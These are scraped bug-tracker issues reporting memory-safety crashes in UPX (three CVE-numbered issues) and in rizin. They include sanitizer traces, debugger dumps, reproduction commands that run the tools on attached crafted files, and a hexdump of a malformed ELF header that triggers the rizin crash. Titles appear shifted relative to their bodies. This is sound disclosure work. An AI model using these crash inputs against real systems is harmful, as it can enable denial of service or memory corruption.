        #2 0x58a45e in Packer::get_te32(void const*) const /src/upx-multi/src/./packer.h:296:65
        #3 0x58a45e in PackLinuxElf32::invert_pt_dynamic(N_Elf::Dyn<N_Elf::ElfITypes<LE16, LE32, LE32, LE32, LE32> > const*, unsignedint) /src/upx-multi/src/p_lx_elf.cpp:1610:32
        #4 0x588a1e in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:305:13
        #5 0x5d6504 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /src/upx-multi/src/./p_lx_elf.h:395:9
        #6 0x5d6504 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4847:54
        #7 0x5d6a4c in PackNetBSDElf32x86::PackNetBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4884:56
        #8 0x6e4df0 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:191:9
        #9 0x6e9771 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18
        #10 0x6e9771 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9
        #11 0x7589f8 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #12 0x759f42 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #13 0x555afd in main /src/upx-multi/src/main.cpp:1538:5
        #14 0x7fc6ddc5d83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #15 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    0x624000007da2 is located 0 bytes to the right of 7330-byte region [0x624000006100,0x624000007da2)
    allocated by thread T0 here:
        #0 0x49519d in malloc (/out/upx-multi/upx-multi+0x49519d)
        #1 0x5697b7 in MemBuffer::alloc(unsigned long long) /src/upx-multi/src/mem.cpp:194:42
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow /src/upx-multi/src/./bele.h:164:12 in get_le32(void const*)
    Shadow bytes around the buggy address:
      0x0c487fff8f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c487fff8f70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c487fff8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c487fff8f90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
      0x0c487fff8fa0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0c487fff8fb0: 00 00 00 00[02]fa fa fa fa fa fa fa fa fa fa fa
      0x0c487fff8fc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c487fff8fd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c487fff8fe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c487fff8ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c487fff9000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
      Shadow gap:              cc
    ==5614==ABORTING
    
    

    upx 4.0.0-git-8d1d605b3d8c+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'.

CVE-2020-27800: Another heap buffer overflow in get_le32() · Issue #395 · upx/upx

An invalid memory address reference was discovered in the adjABS function in p_lx_elf.cpp in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

Segmentation fault in PackLinuxElf64::adjABS of p\_lx\_elf.cpp in the latest commit of the devel branch

code:

    ────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────────────
     RAX  0x53be80 (abs_symbol_names) ◂— pop    rdi /* '__bss_end__' */
     RBX  0xe8cf
     RCX  0xff
     RDX  0x0
    *RDI  0x53be80 (abs_symbol_names) ◂— pop    rdi /* '__bss_end__' */
     RSI  0xff
     R8   0xa9d79
     R9   0x98c32
     R10  0x86f
     R11  0x246
     R12  0xff
     R13  0x7fffffffe440 ◂— 0x3
     R14  0x0
     R15  0x0
     RBP  0x7fffffffd450 —▸ 0x7fffffffd660 —▸ 0x7fffffffd680 —▸ 0x7fffffffd6a0 —▸ 0x7fffffffdea0 ◂— ...
     RSP  0x7fffffffd420 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    *RIP  0x442e5e ◂— call   0x401fd0
    ─────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────
       0x442e47    lea    rax, [rdx*8]
       0x442e4f    sub    rax, rdx
       0x442e52    add    rax, abs_symbol_names <0x53be80>
       0x442e58    mov    rsi, rcx
       0x442e5b    mov    rdi, rax
     ► 0x442e5e    call   strcmp@plt <0x401fd0>
            s1: 0x53be80 (abs_symbol_names) ◂— '__bss_end__'
            s2: 0xff
    
       0x442e63    test   eax, eax
       0x442e65    sete   al
       0x442e68    test   al, al
       0x442e6a    je     0x442e89
    
       0x442e6c    mov    eax, dword ptr [rbp - 0x24]
    ──────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────
       3132 int
       3133 PackLinuxElf64::adjABS(Elf64_Sym *sym, unsigned delta)
       3134 {
       3135     for (int j = 0; abs_symbol_names[j][0]; ++j) {
       3136         unsigned st_name = get_te32(&sym->st_name);
     ► 3137         if (!strcmp(abs_symbol_names[j], get_str_name(st_name, (unsigned)-1))) {
       3138             sym->st_value += delta;
       3139             return 1;
       3140         }
       3141     }
       3142     return 0;
    ──────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────
    00:0000│ rsp  0x7fffffffd420 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    01:0008│      0x7fffffffd428 ◂— 0xfffff00000804fd8
    02:0010│      0x7fffffffd430 —▸ 0x7ffff7fb5068 ◂— 0xfff10000000000ff
    03:0018│      0x7fffffffd438 —▸ 0x817030 —▸ 0x53e1f8 —▸ 0x43af84 (PackLinuxElf64amd::~PackLinuxElf64amd()) ◂— push   rbp
    04:0020│      0x7fffffffd440 —▸ 0x7ffff7fb506e ◂— 0x40fffffff1
    05:0028│      0x7fffffffd448 ◂— 0xff00000000
    06:0030│ rbp  0x7fffffffd450 —▸ 0x7fffffffd660 —▸ 0x7fffffffd680 —▸ 0x7fffffffd6a0 —▸ 0x7fffffffdea0 ◂— ...
    07:0038│      0x7fffffffd458 —▸ 0x449fab (PackLinuxElf64::unpack(OutputFile*)+3259) ◂— add    qword ptr [rbp - 0x158], 0x18
    ────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────
     ► f 0           442e5e
       f 1           449fab PackLinuxElf64::unpack(OutputFile*)+3259
       f 2           492eb2 Packer::doUnpack(OutputFile*)+90
       f 3           49c5ab PackMaster::unpack(OutputFile*)+109
       f 4           4b946e
       f 5           4b985f
       f 6           42aade main+746
       f 7     7ffff727b840 __libc_start_main+240
    
    

get\_str\_name returned an unreadable value and causing crash in strcmp

In this poc, get\_str\_name return 0xff

ASAN reports:

    ==7880==ERROR: AddressSanitizer: SEGV on unknown address 0x0000000000ff (pc 0x000000430045 bp 0x7fff7a4d5050 sp 0x7fff7a4d47f0 T0)
    ==7880==The signal is caused by a READ memory access.
    ==7880==Hint: address points to the zero page.
        #0 0x430045 in strcmp (/out/upx-multi/upx-multi+0x430045)
        #1 0x5b6c98 in PackLinuxElf64::adjABS(N_Elf64::Sym<N_Elf::ElfITypes<LE16, LE32, LE64, LE64, LE64> >*, unsigned int) /src/upx-multi/src/p_lx_elf.cpp:3137:14
        #2 0x5d06a9 in PackLinuxElf64::unpack(OutputFile*) /src/upx-multi/src/p_lx_elf.cpp:4611:25
        #3 0x6c82b0 in Packer::doUnpack(OutputFile*) /src/upx-multi/src/packer.cpp:107:5
        #4 0x7589f8 in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #5 0x759f42 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #6 0x555afd in main /src/upx-multi/src/main.cpp:1538:5
        #7 0x7fb3d16be83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #8 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    AddressSanitizer can not provide additional info.
    SUMMARY: AddressSanitizer: SEGV (/out/upx-multi/upx-multi+0x430045) in strcmp
    ==7880==ABORTING
    
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

POC:  
tests\_7bc36b368db6594ef16f8abfd694fc11e4dc9acb\_.tar.gz

    $ ./src/upx.out -d ./tests_7bc36b368db6594ef16f8abfd694fc11e4dc9acb_.tar.gz
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX git-8d1d60  Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 24th 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
    Segmentation fault
    

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-8d1d605b3d8c+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details type 'upx-multi -L'.
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27798: Segmentation fault in PackLinuxElf64::adjABS of p_lx_elf.cpp · Issue #396 · upx/upx

An invalid memory address reference was discovered in the elf_lookup function in p_lx_elf.cpp in UPX 4.0.0 via a crafted Mach-O file.

Author: giantbranch of NSFOCUS Security Team

**What's the problem (or question)?**

Segmentation fault in PackLinuxElf32::elf\_lookup(char const\*) of /src/p\_lx\_elf.cpp in the latest commit of the devel branch

code link : p\_lx\_elf.cpp#L5486

     for (si= get_te32(&buckets[m]); 0!=si; si= get_te32(&chains[si])) {
                char const *const p= get_dynsym_name(si, (unsigned)-1);
                if (0==strcmp(name, p)) {
                    return &dynsym[si];
                }
            }
    

get\_dynsym\_name returned an unreadable value and causing crash in strcmp

ASAN reports:

    AddressSanitizer:DEADLYSIGNAL
    =================================================================
    ==2661==ERROR: AddressSanitizer: SEGV on unknown address 0x6300849b4477 (pc 0x000000430045 bp 0x7ffda416e910 sp 0x7ffda416e0b0 T0)
    ==2661==The signal is caused by a READ memory access.
        #0 0x430045 in strcmp (/out/upx-multi/upx-multi+0x430045)
        #1 0x5d9589 in PackLinuxElf32::elf_lookup(char const*) const /src/upx-multi/src/p_lx_elf.cpp:5411:20
        #2 0x588c27 in PackLinuxElf32::PackLinuxElf32help1(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:318:26
        #3 0x5d5e74 in PackLinuxElf32Le::PackLinuxElf32Le(InputFile*) /src/upx-multi/src/./p_lx_elf.h:395:9
        #4 0x5d5e74 in PackLinuxElf32x86::PackLinuxElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4838:54
        #5 0x5d6261 in PackBSDElf32x86::PackBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4855:50
        #6 0x5d6261 in PackFreeBSDElf32x86::PackFreeBSDElf32x86(InputFile*) /src/upx-multi/src/p_lx_elf.cpp:4866:58
        #7 0x6e4460 in PackMaster::visitAllPackers(Packer* (*)(Packer*, void*), InputFile*, options_t const*, void*) /src/upx-multi/src/packmast.cpp:190:9
        #8 0x6e8ff1 in PackMaster::getUnpacker(InputFile*) /src/upx-multi/src/packmast.cpp:248:18
        #9 0x6e8ff1 in PackMaster::unpack(OutputFile*) /src/upx-multi/src/packmast.cpp:266:9
        #10 0x75826b in do_one_file(char const*, char*) /src/upx-multi/src/work.cpp:160:12
        #11 0x7597c2 in do_files(int, int, char**) /src/upx-multi/src/work.cpp:271:13
        #12 0x555aed in main /src/upx-multi/src/main.cpp:1538:5
        #13 0x7fee2eaed83f in __libc_start_main /build/glibc-e6zv40/glibc-2.23/csu/../csu/libc-start.c:291
        #14 0x41ce98 in _start (/out/upx-multi/upx-multi+0x41ce98)
    
    

**What should have happened?**

Check if the file is normal, exit if abnormal

**Do you have an idea for a solution?**

Add more checks

**How can we reproduce the issue?**

POC:  
tests\_282bb5f42e6d0cfdae8234bd333f76d50d69d1fa\_.tar.gz

    # ./src/upx.out -d ./tests_282bb5f42e6d0cfdae8234bd333f76d50d69d1fa_
                           Ultimate Packer for eXecutables
                              Copyright (C) 1996 - 2020
    UPX git-87b73e  Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 24th 2020
    
            File size         Ratio      Format      Name
       --------------------   ------   -----------   -----------
    Segmentation fault
    
    

**Please tell us details about your environment.**

*   UPX version used (upx --version):

    upx 4.0.0-git-87b73e5cfdc1+
    UCL data compression library 1.03
    zlib data compression library 1.2.8
    LZMA SDK version 4.43
    Copyright (C) 1996-2020 Markus Franz Xaver Johannes Oberhumer
    Copyright (C) 1996-2020 Laszlo Molnar
    Copyright (C) 2000-2020 John F. Reiser
    Copyright (C) 2002-2020 Jens Medoch
    Copyright (C) 1995-2005 Jean-loup Gailly and Mark Adler
    Copyright (C) 1999-2006 Igor Pavlov
    UPX comes with ABSOLUTELY NO WARRANTY; for details t
    

*   Host Operating System and version: Ubuntu 16.04.2 LTS
*   Host CPU architecture: x86\_64
*   Target Operating System and version: same as Host
*   Target CPU architecture: same as Host

CVE-2020-27797: Segmentation fault in PackLinuxElf32::elf_lookup(char const*)  of /src/p_lx_elf.cpp · Issue #390 · upx/upx

A vulnerability was found in rizin. The bug involves an ELF64 binary for the HPPA architecture. When a specially crafted binarygets analysed by rizin, it causes rizin to crash by freeing an uninitialized (and potentially user controlled, depending on the build) memory address.

**Work environment**

With @ogianatiempo we discovered a bug which makes rizin crash when analyzing certain kind of binaries.

Questions

Answers

OS/arch/bits (mandatory)

Ubuntu 20.04 x86\_64 64

File format of the file you reverse (mandatory)

ELF64

Architecture/bits of the file (mandatory)

HPPA

rizin -v full output, **not truncated** (mandatory)

rizin 0.4.0-git @ linux-x86-64 commit: 681de8e, build: 2021-11-23\_\_11:49:48

**Expected behavior**

Running aaa on an ELF64 file shouldn't make rizin crash.

**Actual behavior**

Rizin segfaults.

**Steps to reproducebinary the behavior**

Run aaa (or start rizin with the -A flag) with the binary named crash attached below.

**Additional Logs, screenshots, source code, configuration dump, ...**

The crash happens in the file librz/core/analysis_tp.c at line 950. When analyzing the binary attached below, the goto at line 849 is executed, but then at line 950 free is called with retctx.ret_reg as an argument. The problem is that retctx.ret_reg only gets initialized at line 860, but that line never gets executed because the goto gets executed first.  
As a result of this, whatever was on the stack at that time gets freeed (for example, in the statically linked release version for linux, the block size will be the value that gets freeed).

So far, we've only seen the crash happen on a HPPA binary. In the archive attached to this issue, we modified the elf header and set the architecture to amd64 and that binary doesn't seem to crash.

Here's a bit of information about both binaries:

    $ binwalk -W crash nocrash 
    
    OFFSET      crash                                                                nocrash
    --------------------------------------------------------------------------------
    0x00000000  7F 45 4C 46 02 30 30 30 30 30 30 30 30 30 30 30 |.ELF.00000000000| \ 7F 45 4C 46 02 30 30 30 30 30 30 30 30 30 30 30 |.ELF.00000000000|
    0x00000010  30 30 0F 00 30 30 30 30 30 30 30 30 30 30 30 30 |00..000000000000| / 30 30 3E 00 30 30 30 30 30 30 30 30 30 30 30 30 |00>.000000000000|
    0x00000020  40 00 00 00 00 00 00 00 30 30 30 30 30 30 30 30 |@.......00000000| \ 40 00 00 00 00 00 00 00 30 30 30 30 30 30 30 30 |@.......00000000|
    0x00000030  30 30 30 30 30 30 30 30 02 00 30 30 30 30 30 30 |00000000..000000| / 30 30 30 30 30 30 30 30 02 00 30 30 30 30 30 30 |00000000..000000|
    0x00000040  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| \ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x00000050  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| / 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x00000060  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| \ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x00000070  30 30 30 30 30 30 30 30 01 00 00 00 05 30 30 30 |00000000.....000| / 30 30 30 30 30 30 30 30 01 00 00 00 05 30 30 30 |00000000.....000|
    0x00000080  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| \ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x00000090  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| / 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    0x000000A0  30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000| \ 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 |0000000000000000|
    

(the only difference is the target architecture)

    $ readelf -h crash
    ...
      Machine:                           HPPA
    ...
    $ readelf -h nocrash
    ...
      Machine:                           Advanced Micro Devices X86-64
    ...
    

And here's the crash in action:

    $ ~/rizin/build/binrz/rizin/rizin -A crash 
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze function calls (aac)
    [Skipping huge ranges of instructions for references (aar)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Check for classes
    [x] Finding xrefs in noncode section with analysis.in=io.maps
    [x] Analyze value pointers (aav)
    [Warning: Skipping large region30 to 0x6060606060606060 (aav)
    [Cannot find program counter register in the current profile.
    [x] Emulate functions to find computed references (aaef)
    [Segmentation fault (core dumped)l functions (aaft)
    

As mentioned before, the binary with amd64 in the header works well:

    $ ~/rizin/build/binrz/rizin/rizin -A nocrash 
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze function calls (aac)
    [Skipping huge ranges of instructions for references (aar)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Check for classes
    [x] Type matching analysis for all functions (aaft)
    [x] Propagate noreturn information
    [x] Use -AA or aaaa to perform additional experimental analysis.
    [0x3030303030303030]>
    

binaries.zip

Tag

#mac